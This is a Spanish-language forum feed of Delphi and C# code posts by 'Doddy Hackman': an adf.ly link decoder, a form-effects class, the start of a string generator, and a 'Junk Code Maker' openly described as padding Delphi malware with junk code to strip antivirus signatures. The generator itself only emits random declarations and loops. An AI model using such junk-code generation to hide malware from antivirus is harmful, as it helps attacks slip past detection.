        private void miAddWordlist_Click(object sender, EventArgs e)
        {
            odOpenFile.InitialDirectory = System.IO.Path.GetDirectoryName(Application.ExecutablePath); ;
            DialogResult resultado = odOpenFile.ShowDialog();
            if (resultado == DialogResult.OK)
            {
                string filename = odOpenFile.FileName;
                int counter = 0;
                if (File.Exists(filename))
                {
                    var lines = File.ReadAllLines(filename);
                    foreach (var line in lines)
                    {
                        if (check_link(line))
                        {
                            ListViewItem item = new ListViewItem();
                            item.Text = line;
                            item.SubItems.Add("...");
                            lvLinks.Items.Add(item);
                            counter = counter + 1;
                        }
                    }
                    if (counter > 0)
                    {
                        status.Text = "[+] Links Added : " + counter.ToString();
                        this.Refresh();
                    }
                    else
                    {
                        status.Text = "[-] Links not found";
                        this.Refresh();
                    }
                }
                else
                {
                    status.Text = "[-] Enter Valid Filename";
                    this.Refresh();
                }
            }
        }

        private void miClearList_Click(object sender, EventArgs e)
        {
            lvLinks.Items.Clear();
        }

        private void miKill_Click(object sender, EventArgs e)
        {
            if (lvLinks.Items.Count > 0)
            {
                for (int i = 0; i < lvLinks.Items.Count; i++)
                {
                    ListViewItem item = lvLinks.Items[i];
                    string link_to_decode = item.Text;
                    status.Text = "[+] Checking : " + link_to_decode + " ...";
                    this.Refresh();
                    string result = adfly_decode(link_to_decode);
                    if (result != "???")
                    {
                        lvLinks.Items[i].SubItems[1].Text = result;
                        status.Text = "[+] " + link_to_decode+" : "+result;
                        this.Refresh();
                    }
                    else
                    {
                        lvLinks.Items[i].SubItems[1].Text = "Not Found";
                        status.Text = "[-] " + link_to_decode + " : " + "Not Found";
                        this.Refresh();
                    }
                }
                status.Text = "[+] Finished";
                this.Refresh();
            }
            else
            {
                status.Text = "[-] Links not found";
                this.Refresh();
            }
        }

        private void miCopy_Click(object sender, EventArgs e)
        {

            if (lvLinks.SelectedIndices.Count > 0 && lvLinks.SelectedIndices[0] != -1)
            {
                string link = lvLinks.SelectedItems[0].SubItems[1].Text;
                if (link != "..." || link!="Not Found")
                {
                    try
                    {
                        Clipboard.Clear();
                        Clipboard.SetText(link);
                        status.Text = "[+] Link copied to clipboard";
                        this.Refresh();
                    }
                    catch
                    {
                        //
                    }
                }
            }
        }

    }
}

// The End ?


Si quieren bajar el programa lo pueden hacer de aca :

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Eso seria todo.
#32
Delphi / [Delphi] DH Junk Code Maker 0.4
Julio 09, 2016, 11:40:32 AM
Un programa en Delphi para generar codigo basura y lograr quitar algunas firmas de AV en un malware hecho en Delphi.

Tiene las siguientes opciones :

  • Generar constantes
  • Generar variables
  • Generar varios for
  • Generar funciones con variables
  • Generar funciones con for
  • Generar codigo con todas las funciones anteriores juntas
  • Se puede establecer una lontigud para cada opcion

    Una imagen :



    El codigo :

    Código: delphi

    // DH Junk Code Maker 0.4
    // (C) Doddy Hackman 2016

    unit junk;

    interface

    uses
      Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
      System.Classes, Vcl.Graphics,
      Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.StdCtrls,
      Vcl.ComCtrls, Vcl.Styles.Utils.Menus, Vcl.Styles.Utils.SysStyleHook,
      Vcl.Styles.Utils.SysControls, Math, Vcl.Menus, Vcl.Imaging.pngimage,
      Vcl.ImgList;

    type
      TFormHome = class(TForm)
        imgLogo: TImage;
        gbOutput: TGroupBox;
        mmOutput: TMemo;
        gbEnterLength: TGroupBox;
        txtLength: TEdit;
        udLength: TUpDown;
        gbType: TGroupBox;
        cmbOptions: TComboBox;
        gbOptions: TGroupBox;
        btnGenerate: TButton;
        ppOptions: TPopupMenu;
        copy: TMenuItem;
        clear: TMenuItem;
        ilIconos: TImageList;
        procedure btnGenerateClick(Sender: TObject);
        procedure clearClick(Sender: TObject);
        procedure copyClick(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      FormHome: TFormHome;

    implementation

    {$R *.dfm}
    // Functions

    function dh_generate_string(option: string; length_string: integer): string;
    const
      letters1: array [1 .. 26] of string = ('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
        'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w',
        'x', 'y', 'z');
    const
      letters2: array [1 .. 26] of string = ('A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
        'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W',
        'X', 'Y', 'Z');
    const
      numbers: array [1 .. 10] of string = ('0', '1', '2', '3', '4', '5', '6', '7',
        '8', '9');

    const
      cyrillic: array [1 .. 44] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
        '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?',
        '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?',
        '?', '?', '?', '?', '?', '?');

    const
      no_idea1: array [1 .. 13] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
        '?', '?', '?', '?', '?');

    const
      no_idea2: array [1 .. 28] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
        '?', '?', '?', '?', '?', '?', '?', '?', '??', '?', '?', '?', '?', '?', '?',
        '?', '?', '?', '?', '??');

    const
      no_idea3: array [1 .. 13] of string = ('??', '?', '?', '?', '?', '?', '?',
        '_', '?', '`', '?', '_', '?');

    const
      no_idea4: array [1 .. 26] of string = ('?', '?', '€', '?', 'l', '?', '™', 'O',
        'e', '?', '?', '?', '?', '?', '?', '?', '?', '-', '/', '·', 'v', '8', '?',
        '˜', '?', '=');

    const
      no_idea5: array [1 .. 33] of string = ('?', '?', '?', '?', 'n', '?', '?', '?',
        '?', '?', '?', 'G', '?', '?', '?', 'e', 'ß', '?', '?', '?', '?', '?', '?',
        '?', '?', '?', '?', '?', '?', '?', '8', 'S', '?');

    const
      no_idea6: array [1 .. 32] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
        '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?',
        '?', '?', '?', '?', '?', '?', '?', '?', '?');
    var
      code: string;
      gen_now: string;
      i: integer;
      index: integer;
    begin

      gen_now := '';

      for i := 1 to length_string do
      begin
        if (option = '1') then
        begin
          gen_now := gen_now + letters1[RandomRange(1, Length(letters1) + 1)];
        end
        else if (option = '2') then
        begin
          gen_now := gen_now + letters2[RandomRange(1, Length(letters2) + 1)];
        end
        else if (option = '3') then
        begin
          gen_now := gen_now + numbers[RandomRange(1, Length(numbers) + 1)];
        end
        else if (option = '4') then
        begin
          gen_now := gen_now + cyrillic[RandomRange(1, Length(cyrillic) + 1)];
        end
        else if (option = '5') then
        begin
          gen_now := gen_now + no_idea1[RandomRange(1, Length(no_idea1) + 1)];
        end
        else if (option = '6') then
        begin
          gen_now := gen_now + no_idea2[RandomRange(1, Length(no_idea2) + 1)];
        end
        else if (option = '7') then
        begin
          gen_now := gen_now + no_idea3[RandomRange(1, Length(no_idea3) + 1)];
        end
        else if (option = '8') then
        begin
          gen_now := gen_now + no_idea4[RandomRange(1, Length(no_idea4) + 1)];
        end
        else if (option = '9') then
        begin
          gen_now := gen_now + no_idea5[RandomRange(1, Length(no_idea5) + 1)];
        end
        else if (option = '10') then
        begin
          gen_now := gen_now + no_idea6[RandomRange(1, Length(no_idea6) + 1)];
        end
        else
        begin
          gen_now := gen_now + letters1[RandomRange(1, Length(letters1) + 1)];
        end;
      end;
      code := gen_now;

      Result := code;
    end;

    function message_box(title, message_text, type_message: string): string;
    begin
      if not(title = '') and not(message_text = '') and not(type_message = '') then
      begin
        try
          begin
            if (type_message = 'Information') then
            begin
              MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
                MB_ICONINFORMATION);
            end
            else if (type_message = 'Warning') then
            begin
              MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
                MB_ICONWARNING);
            end
            else if (type_message = 'Question') then
            begin
              MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
                MB_ICONQUESTION);
            end
            else if (type_message = 'Error') then
            begin
              MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
                MB_ICONERROR);
            end
            else
            begin
              MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
                MB_ICONINFORMATION);
            end;
            Result := '[+] MessageBox : OK';
          end;
        except
          begin
            Result := '[-] Error';
          end;
        end;
      end
      else
      begin
        Result := '[-] Error';
      end;
    end;

    //

    procedure TFormHome.btnGenerateClick(Sender: TObject);
    var
      id: string;
      i, y: integer;
      vars, vars2, name, name2, value, value2: string;
      strings, strings2: string;
      functions, code: string;
      limit_random: integer;
    begin

      if (StrToInt(txtLength.Text) > 0) then
      begin

        if (cmbOptions.ItemIndex = 0) then
        begin
          for i := 1 to StrToInt(txtLength.Text) do
          begin
            name := dh_generate_string('1', 5);
            value := dh_generate_string('1', 20);
            mmOutput.Lines.Add('const ' + name + '=' + '''' + value + '''' + ';');
          end;
          mmOutput.Lines.Add('');
        end
        else if (cmbOptions.ItemIndex = 1) then
        begin

          vars := 'var ';
          strings := '';

          for i := 1 to StrToInt(txtLength.Text) do
          begin
            name := dh_generate_string('1', 5);
            value := dh_generate_string('1', 20);
            if (i = StrToInt(txtLength.Text)) then
            begin
              vars := vars + name + ':string;';
            end
            else
            begin
              vars := vars + name + ',';
            end;
            if (i = StrToInt(txtLength.Text)) then
            begin
              strings := strings + name + ':=' + '''' + value + '''' + ';';
            end
            else
            begin
              strings := strings + name + ':=' + '''' + value + '''' + ';' +
                sLineBreak;
            end;
          end;

          id := dh_generate_string('1', 5);

          code := 'procedure gen_vars_' + id + ';' + sLineBreak + vars + sLineBreak
            + 'begin' + sLineBreak + strings + sLineBreak + 'end;';

          mmOutput.Lines.Add(code);
          mmOutput.Lines.Add('');

        end
        else if (cmbOptions.ItemIndex = 2) then
        begin
          vars := 'var i,y:integer;';
          strings := '';
          for i := 1 to StrToInt(txtLength.Text) do
          begin
            value := dh_generate_string('3', 2);

            if (i = StrToInt(txtLength.Text)) then
            begin
              strings := strings + 'i := 0;' + sLineBreak + 'y := 0;' + sLineBreak +
                sLineBreak;
              strings := strings + 'for i := 0 to ' + value + ' do' + sLineBreak +
                'begin' + sLineBreak + 'inc(y);' + sLineBreak + 'end;';
            end
            else
            begin
              strings := strings + 'i := 0;' + sLineBreak + 'y := 0;' + sLineBreak +
                sLineBreak;
              strings := strings + 'for i := 0 to ' + value + ' do' + sLineBreak +
                'begin' + sLineBreak + 'inc(y);' + sLineBreak + 'end;' + sLineBreak
                + sLineBreak;
            end;
          end;

          id := dh_generate_string('1', 5);

          code := 'procedure gen_fors_' + id + ';' + sLineBreak + vars + sLineBreak
            + 'begin' + sLineBreak + strings + sLineBreak + 'end;';

          mmOutput.Lines.Add(code);
          mmOutput.Lines.Add('');

        end
        else if (cmbOptions.ItemIndex = 3) then
        begin
          code := '';
          functions := '';

          for i := 1 to StrToInt(txtLength.Text) do
          begin
            vars := 'var ';
            strings := '';
            limit_random := StrToInt(dh_generate_string('3', 1));
            if (limit_random = 0) then
            begin
              limit_random := 5;
            end;
            for y := 1 to limit_random do
            begin
              name := dh_generate_string('1', 5);
              value := dh_generate_string('1', 20);
              if (y = limit_random) then
              begin
                vars := vars + name + ':string;';
              end
              else
              begin
                vars := vars + name + ',';
              end;
              if (y = limit_random) then
              begin
                strings := strings + name + ':=' + '''' + value + '''' + ';';
              end
              else
              begin
                strings := strings + name + ':=' + '''' + value + '''' + ';' +
                  sLineBreak;
              end;
            end;

            id := dh_generate_string('1', 5);

            if (i = StrToInt(txtLength.Text)) then
            begin
              functions := 'function gen_vars_' + id + '():string;' + sLineBreak +
                vars + sLineBreak + 'begin' + sLineBreak + strings + sLineBreak +
                'Result :=' + '''' + id + '''' + ';' + sLineBreak + 'end;' +
                sLineBreak;
            end
            else
            begin
              functions := 'function gen_vars_' + id + '():string;' + sLineBreak +
                vars + sLineBreak + 'begin' + sLineBreak + strings + sLineBreak +
                'Result :=' + '''' + id + '''' + ';' + sLineBreak + 'end;' +
                sLineBreak + sLineBreak;
            end;

            code := code + functions;

          end;

          mmOutput.Lines.Add(code);
          // mmOutput.Lines.Add('');
        end
        else if (cmbOptions.ItemIndex = 4) then
        begin

          code := '';

          for i := 1 to StrToInt(txtLength.Text) do
          begin

            vars := 'var i,y:integer;';
            strings := '';
            limit_random := StrToInt(dh_generate_string('3', 1));

            if (limit_random = 0) then
            begin
              limit_random := 5;
            end;
            for y := 1 to limit_random do
            begin
              value := dh_generate_string('3', 2);

              if (i = limit_random) then
              begin
                strings := strings + 'i := 0;' + sLineBreak + 'y := 0;' +
                  sLineBreak;
                strings := strings + 'for i := 0 to ' + value + ' do' + sLineBreak +
                  'begin' + sLineBreak + 'inc(y);' + sLineBreak + 'end;' +
                  sLineBreak;
              end
              else
              begin
                strings := strings + 'i := 0;' + sLineBreak + 'y := 0;' +
                  sLineBreak;
                strings := strings + 'for i := 0 to ' + value + ' do' + sLineBreak +
                  'begin' + sLineBreak + 'inc(y);' + sLineBreak + 'end;' +
                  sLineBreak;
              end;
            end;

            id := dh_generate_string('3', 5);

            if (i = StrToInt(txtLength.Text)) then
            begin
              functions := 'function gen_fors_' + id + '():integer();' + sLineBreak
                + vars + sLineBreak + 'begin' + sLineBreak + strings + 'Result :=' +
                id + ';' + sLineBreak + 'end;' + sLineBreak;
            end
            else
            begin
              functions := 'function gen_fors_' + id + '():integer();' + sLineBreak
                + vars + sLineBreak + 'begin' + sLineBreak + strings + 'Result :=' +
                id + ';' + sLineBreak + 'end;' + sLineBreak + sLineBreak;
            end;

            code := code + functions;

          end;

          mmOutput.Lines.Add(code);
          // mmOutput.Lines.Add('');

        end
        else if (cmbOptions.ItemIndex = 5) then
        begin

          code := '';
          functions := '';

          for i := 1 to StrToInt(txtLength.Text) do
          begin

            vars := 'var ';
            strings := '';
            vars2 := 'var ';
            strings2 := '';

            limit_random := StrToInt(dh_generate_string('3', 1));

            if (limit_random = 0) then
            begin
              limit_random := 5;
            end;
            for y := 1 to limit_random do
            begin
              name := dh_generate_string('1', 20);
              name2 := dh_generate_string('1', 20);
              value := dh_generate_string('1', 20);
              value2 := dh_generate_string('3', 2);

              if (y = limit_random) then
              begin
                vars := vars + name + ':string;';
              end
              else
              begin
                vars := vars + name + ',';
              end;

              if (y = limit_random) then
              begin
                strings := strings + name + ':=' + '''' + value + '''' + ';';
              end
              else
              begin
                strings := strings + name + ':=' + '''' + value + '''' + ';' +
                  sLineBreak;
              end;

              vars2 := 'var i,y:integer;';

              if (y = limit_random) then
              begin
                strings2 := strings2 + 'i := 0;' + sLineBreak + 'y := 0;' +
                  sLineBreak;
                strings2 := strings2 + 'for i := 0 to ' + value2 + ' do' +
                  sLineBreak + 'begin' + sLineBreak + 'inc(y);' + sLineBreak +
                  'end;' + sLineBreak;
              end
              else
              begin
                strings2 := strings2 + 'i := 0;' + sLineBreak + 'y := 0;' +
                  sLineBreak;
                strings2 := strings2 + 'for i := 0 to ' + value2 + ' do' +
                  sLineBreak + 'begin' + sLineBreak + 'inc(y);' + sLineBreak +
                  'end;' + sLineBreak;
              end;
            end;

            id := dh_generate_string('1', 5);

            if (i = StrToInt(txtLength.Text)) then
            begin
              functions := 'function gen_functions_' + id + '():string;' +
                sLineBreak + vars + sLineBreak + vars2 + sLineBreak + 'begin' +
                sLineBreak + strings + sLineBreak + strings2 + 'Result :=' + '''' +
                id + '''' + ';' + sLineBreak + 'end;' + sLineBreak;
            end
            else
            begin
              functions := 'function gen_functions_' + id + '():string;' +
                sLineBreak + vars + sLineBreak + vars2 + sLineBreak + 'begin' +
                sLineBreak + strings + sLineBreak + strings2 + 'Result :=' + '''' +
                id + '''' + ';' + sLineBreak + 'end;' + sLineBreak + sLineBreak;
            end;

            code := code + functions;
          end;

          mmOutput.Lines.Add(code);

        end;

        message_box('DH Junk Code Maker 0.4', 'Enjoy the junk source',
          'Information');
      end
      else
      begin
        message_box('DH Junk Code Maker 0.4',
          'The length should be greater than zero', 'Warning');
      end;
    end;

    procedure TFormHome.clearClick(Sender: TObject);
    begin
      mmOutput.clear;
      message_box('DH Junk Code Maker 0.4', 'Output cleaned', 'Information');
    end;

    procedure TFormHome.copyClick(Sender: TObject);
    begin
      mmOutput.SelectAll;
      mmOutput.CopyToClipboard;
      message_box('DH Junk Code Maker 0.4', 'Output copied to the clipboard',
        'Information');
    end;

    end.

    // The End ?


    Si quieren bajar el programa lo pueden hacer de aca :

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

    Eso seria todo.
#33
Delphi / [Delphi] DH Form Effects 0.3
Junio 24, 2016, 09:45:09 PM
Una clase en Delphi para darle efectos a los formularios.

Tiene las siguientes opciones :

  • Animacion marquesina en los labels de izquierda a derecha y viceversa
  • Animacion marquesina en los labels de arriba hacia abajo y viceversa
  • Volver transparentes los formularios
  • Volver transparente la consola del programa
  • Varios efectos en la ventana de los formularios

    El codigo :

    Código: delphi

    // Unit : DH Form Effects
    // Version : 0.3
    // (C) Doddy Hackman 2016

    unit DH_Form_Effects;

    interface

    uses Windows, SysUtils, Vcl.Forms, Vcl.StdCtrls, Vcl.ExtCtrls, Registry;

    type
      T_DH_Form_Effects = class
      private

      public
        constructor Create;
        destructor Destroy; override;
        procedure Effect_Marquee_Label_DownUp(Panel1: TPanel; Label1: TLabel;
          segundos: integer);
        procedure Effect_Marquee_Label_LeftRight(Label2: TLabel; opcion: string;
          segundos: integer);
        procedure Effect_Marquee_Form_Caption_LeftRight(Form1: TForm;
          opcion: string; segundos: integer);
        function Window_Effect(Form: HWND; opcion: string;
          velocidad: integer): bool;
        function Window_Transparent(Form: TForm; level: integer): bool;
        procedure Effect_Load_Another_Form(Form1_Load: TForm; Form2_Load: TForm;
          option: string; autosize: integer; space: integer; seconds: integer);
        function desktop_composition_control(option: string): bool;
        function Effect_Glass_in_Console(): bool;
      end;

    type
      TTimerEffect_Marquee_Label_DownUp = Class(TTimer)
      public
        procedure OnWork(Sender: TObject);
      end;

      TTimerEffect_Marquee_Label_LeftRight = Class(TTimer)
      public
        procedure OnWork(Sender: TObject);
      end;

      TTimerEffect_Marquee_Form_Caption_LeftRight = Class(TTimer)
      public
        procedure OnWork(Sender: TObject);
      end;

    var
      Timer_Effect_Marquee_Label_DownUp: TTimerEffect_Marquee_Label_DownUp;
      PanelToMove1: TPanel;
      LabelToMove1: TLabel;

    var
      TimerEffect_Marquee_Label_LeftRight: TTimerEffect_Marquee_Label_LeftRight;
      LabelToMove2: TLabel;
      Option_Marquee_Label_LeftRight: string;

    var
      TimerEffect_Marquee_Form_Caption_LeftRight
        : TTimerEffect_Marquee_Form_Caption_LeftRight;
      FormCaptionToMove: TForm;
      Option_Marquee_Form_Caption_LeftRight: string;

    implementation

    constructor T_DH_Form_Effects.Create;
    begin
      inherited Create;
      //
    end;

    destructor T_DH_Form_Effects.Destroy;
    begin
      inherited Destroy;
    end;

    // Timers

    procedure TTimerEffect_Marquee_Label_DownUp.OnWork(Sender: TObject);
    begin
      LabelToMove1.Top := LabelToMove1.Top - 10;
      if LabelToMove1.Top + LabelToMove1.Height < 0 then
      begin
        LabelToMove1.Top := PanelToMove1.Height;
      end;
    end;

    procedure TTimerEffect_Marquee_Form_Caption_LeftRight.OnWork(Sender: TObject);
    var
      code: string;
      opcion: string;
    begin
      code := FormCaptionToMove.Caption;
      opcion := Option_Marquee_Form_Caption_LeftRight;
      if opcion = 'left' then
      begin
        FormCaptionToMove.Caption := Copy(code, 2, Length(code) - 1) +
          Copy(code, 1, 1);
      end
      else if (opcion = 'right') then
      begin
        FormCaptionToMove.Caption := Copy(code, Length(code) - 1, 1) +
          Copy(code, 1, Length(code) - 1);
      end
      else
      begin
        FormCaptionToMove.Caption := Copy(code, 2, Length(code) - 1) +
          Copy(code, 1, 1);
      end;
    end;

    procedure TTimerEffect_Marquee_Label_LeftRight.OnWork(Sender: TObject);
    // Based on : http://delphi.about.com/od/vclusing/a/marquee.htm
    // Thanks to Zarko Gajic
    var
      code: string;
      opcion: string;
    begin
      code := LabelToMove2.Caption;
      opcion := Option_Marquee_Label_LeftRight;
      if opcion = 'left' then
      begin
        LabelToMove2.Caption := Copy(code, 2, Length(code) - 1) + Copy(code, 1, 1);
      end
      else if (opcion = 'right') then
      begin
        LabelToMove2.Caption := Copy(code, Length(code) - 1, 1) +
          Copy(code, 1, Length(code) - 1);
      end
      else
      begin
        LabelToMove2.Caption := Copy(code, 2, Length(code) - 1) + Copy(code, 1, 1);
      end;
    end;

    //

    // Functions

    procedure T_DH_Form_Effects.Effect_Load_Another_Form(Form1_Load: TForm;
      Form2_Load: TForm; option: string; autosize: integer; space: integer;
      seconds: integer);
    var
      width: integer;
      Height: integer;
      i: integer;
    begin

      if (autosize = 1) then
      begin
        width := Form2_Load.width;
        Height := Form1_Load.Height;
      end
      else
      begin
        width := Form2_Load.width;
        Height := Form2_Load.Height;
      end;

      if (option = 'effect1') then
      begin
        Form2_Load.width := 1;
        Form2_Load.Height := Form1_Load.Height;
        Form2_Load.Left := space + Form1_Load.Left + Form1_Load.width;
        Form2_Load.Top := Form1_Load.Top;
        Form2_Load.Show;
        for i := 1 to width do
        begin
          if (Form2_Load.width = width) then
          begin
            break;
          end
          else
          begin
            Form2_Load.width := i + seconds;
            Form2_Load.Update;
          end;
        end;
      end
      else if (option = 'effect2') then
      begin
        Form2_Load.Hide;
        Form2_Load.Height := Height;
        Form2_Load.Left := Form1_Load.Left + width;
        Form2_Load.Top := Form1_Load.Top;
        Form2_Load.Left := space + Form1_Load.Left + Form1_Load.width;
        Window_Effect(Form2_Load.Handle, 'effect1', seconds);
        Form2_Load.Show;
      end
      else
      begin
        Form2_Load.width := 1;
        Form2_Load.Height := Form1_Load.Height;
        Form2_Load.Left := space + Form1_Load.Left + Form1_Load.width;
        Form2_Load.Top := Form1_Load.Top;
        Form2_Load.Show;
        for i := 1 to width do
        begin
          if (Form2_Load.width = width) then
          begin
            break;
          end
          else
          begin
            Form2_Load.width := i + seconds;
            Form2_Load.Update;
          end;
        end;
      end;
    end;

    procedure T_DH_Form_Effects.Effect_Marquee_Label_DownUp(Panel1: TPanel;
      Label1: TLabel; segundos: integer);
    begin

      // To hide panel : BevelOuter = bvNone

      PanelToMove1 := Panel1;
      LabelToMove1 := Label1;
      Timer_Effect_Marquee_Label_DownUp :=
        TTimerEffect_Marquee_Label_DownUp.Create(nil);
      Timer_Effect_Marquee_Label_DownUp.Interval := segundos * 1000;
      Timer_Effect_Marquee_Label_DownUp.OnTimer :=
        Timer_Effect_Marquee_Label_DownUp.OnWork;
      Timer_Effect_Marquee_Label_DownUp.Enabled := True;
    end;

    procedure T_DH_Form_Effects.Effect_Marquee_Form_Caption_LeftRight(Form1: TForm;
      opcion: string; segundos: integer);
    begin
      if (opcion = 'left') then
      begin
        FormCaptionToMove := Form1;
        FormCaptionToMove.Caption := FormCaptionToMove.Caption + ' ';
      end
      else if (opcion = 'right') then
      begin
        FormCaptionToMove := Form1;
        FormCaptionToMove.Caption := FormCaptionToMove.Caption + '  ';
      end
      else
      begin
        FormCaptionToMove := Form1;
        FormCaptionToMove.Caption := FormCaptionToMove.Caption + ' ';
      end;

      Option_Marquee_Form_Caption_LeftRight := opcion;
      TimerEffect_Marquee_Form_Caption_LeftRight :=
        TTimerEffect_Marquee_Form_Caption_LeftRight.Create(nil);
      TimerEffect_Marquee_Form_Caption_LeftRight.Interval := segundos * 1000;
      TimerEffect_Marquee_Form_Caption_LeftRight.OnTimer :=
        TimerEffect_Marquee_Form_Caption_LeftRight.OnWork;
      TimerEffect_Marquee_Form_Caption_LeftRight.Enabled := True;
    end;

    procedure T_DH_Form_Effects.Effect_Marquee_Label_LeftRight(Label2: TLabel;
      opcion: string; segundos: integer);
    begin
      if (opcion = 'left') then
      begin
        LabelToMove2 := Label2;
        LabelToMove2.Caption := LabelToMove2.Caption + ' ';
      end
      else if (opcion = 'right') then
      begin
        LabelToMove2 := Label2;
        LabelToMove2.Caption := LabelToMove2.Caption + '  ';
      end
      else
      begin
        LabelToMove2 := Label2;
        LabelToMove2.Caption := LabelToMove2.Caption + ' ';
      end;
      Option_Marquee_Label_LeftRight := opcion;
      TimerEffect_Marquee_Label_LeftRight :=
        TTimerEffect_Marquee_Label_LeftRight.Create(nil);
      TimerEffect_Marquee_Label_LeftRight.Interval := segundos * 1000;
      TimerEffect_Marquee_Label_LeftRight.OnTimer :=
        TimerEffect_Marquee_Label_LeftRight.OnWork;
      TimerEffect_Marquee_Label_LeftRight.Enabled := True;
    end;

    function T_DH_Form_Effects.Window_Effect(Form: HWND; opcion: string;
      velocidad: integer): bool;
    begin
      try
        begin
          if (opcion = 'slide') then
          begin
            AnimateWindow(Form, velocidad, AW_SLIDE);
          end
          else if (opcion = 'blend') then
          begin
            AnimateWindow(Form, velocidad, AW_BLEND);
          end
          else if (opcion = 'hide') then
          begin
            AnimateWindow(Form, velocidad, AW_HIDE);
          end
          else if (opcion = 'center') then
          begin
            AnimateWindow(Form, velocidad, AW_CENTER);
          end
          else if (opcion = 'effect1') then
          begin
            AnimateWindow(Form, velocidad, AW_HOR_POSITIVE);
          end
          else if (opcion = 'effect2') then
          begin
            AnimateWindow(Form, velocidad, AW_HOR_NEGATIVE);
          end
          else if (opcion = 'effect3') then
          begin
            AnimateWindow(Form, velocidad, AW_VER_POSITIVE);
          end
          else if (opcion = 'effect4') then
          begin
            AnimateWindow(Form, velocidad, AW_VER_NEGATIVE);
          end
          else
          begin
            Result := False;
          end;
          Result := True;
        end;
      except
        begin
          Result := False;
        end;
      end;
    end;

    function T_DH_Form_Effects.Window_Transparent(Form: TForm;
      level: integer): bool;
    begin

      // Effect in Desktop Dark
      // Level : 240
      // Level : 235
      // Level : 230

      // Effect in Desktop White
      // Level : 220

      try
        begin
          Form.AlphaBlend := True;
          Form.AlphaBlendValue := level;
          Form.Visible := True;
          Result := True;
        end;
      except
        begin
          Result := False;
        end;
      end;
    end;

    function T_DH_Form_Effects.desktop_composition_control(option: string): bool;
    var
      Registry: TRegistry;
    begin
      if not(option = '') then
      begin
        try
          begin
            Registry := TRegistry.Create;
            Registry.RootKey := HKEY_CURRENT_USER;
            Registry.OpenKey('Software\Microsoft\Windows\DWM', True);
            if (option = 'on') then
            begin
              Registry.WriteString('CompositionPolicy', '0');
            end;
            if (option = 'off') then
            begin
              Registry.WriteString('CompositionPolicy', '1');
            end;
            Registry.Free;
            Result := True;
          end;
        except
          begin
            Result := False;
          end;
        end;
      end
      else
      begin
        Result := False;
      end;
    end;

    // Function for Effect Glass in Console
    // Credits : Based on http://www.delphibasics.info/home/delphibasicssnippets/glasseffectinadelphiconsoleapplication
    // Thanks to Rodrigo Ruz
    // Note : You need enable desktop composition to use this function , else use the function
    // desktop_composition_control() to enable

    type
      DWM_BLURBEHIND = record
        controls: DWORD;
        check: bool;
        color_now: HRGN;
        max_now: bool;
      end;

    procedure DwmEnableBlurBehindWindow(HWND: HWND;
      const pBlurBehind: DWM_BLURBEHIND); safecall;
      external 'dwmapi.dll' name 'DwmEnableBlurBehindWindow';
    function GetConsoleWindow: HWND; stdcall;
      external kernel32 name 'GetConsoleWindow';

    function check_console: Boolean;
    var
      Handle: THandle;
    begin
      Handle := GetStdHandle(Std_Output_Handle);
      Win32Check(Handle <> Invalid_Handle_Value);
      if (Handle <> 0) then
      begin
        Result := True;
      end
      else
      begin
        Result := False;
      end;
    end;

    procedure Effect_Glass(Handle: HWND; active: Boolean; rgn: HRGN = 0;
      max: Boolean = False; control: Cardinal = 1);
    var
      effect: DWM_BLURBEHIND;
    begin
      effect.controls := control;
      effect.check := active;
      effect.color_now := rgn;
      effect.max_now := max;

      DwmEnableBlurBehindWindow(Handle, effect);
    end;

    function T_DH_Form_Effects.Effect_Glass_in_Console(): bool;
    begin
      if (check_console) then
      begin
        try
          begin
            Effect_Glass(GetConsoleWindow(), True);
            Result := True;
          end;
        except
          begin
            //
          end;
        end;
      end
      else
      begin
        Result := False;
      end;
    end;

    //

    end.

    // The End ?


    Ejemplos de uso :

    Código: delphi

    procedure TForm1.Form_EffectsClick(Sender: TObject);

    var
      effects_manager: T_DH_Form_Effects;

    begin

      effects_manager := T_DH_Form_Effects.Create();

      effects_manager.window_transparent(Form1, 240);
      effects_manager.window_effect(Form1.Handle,'center',100);
      effects_manager.Effect_Marquee_Label_DownUp(Panel1, Label1, 1);
      effects_manager.Effect_Marquee_Label_LeftRight(Label2, 'left', 1);
      Effect_Marquee_Form_Caption_LeftRight(Form1, 'right', 1);
      Effect_Load_Another_Form(Form1, About, 'effect2', 1, 5, 300);
      Effect_Load_Another_Form(Form1, About, 'effect1', 1,10,200);

      effects_manager.Free;

    end;


    Si quieren bajar el codigo lo pueden hacer de aca :

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

    Eso seria todo.
#34
Delphi / [Delphi] DH String Generator 0.3
Junio 10, 2016, 12:12:00 PM
Un programa en Delphi para generar strings de 10 tipos diferentes y longitudes especificas.

Una imagen :



El codigo :

Código: delphi

// DH String Generator 0.3
// (C) Doddy Hackman 2016

unit generator;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Math, Vcl.ExtCtrls,
  Vcl.ComCtrls, Vcl.Imaging.pngimage, Vcl.ImgList, FormAbout;

type
  TFormHome = class(TForm)
    imgLogo: TImage;
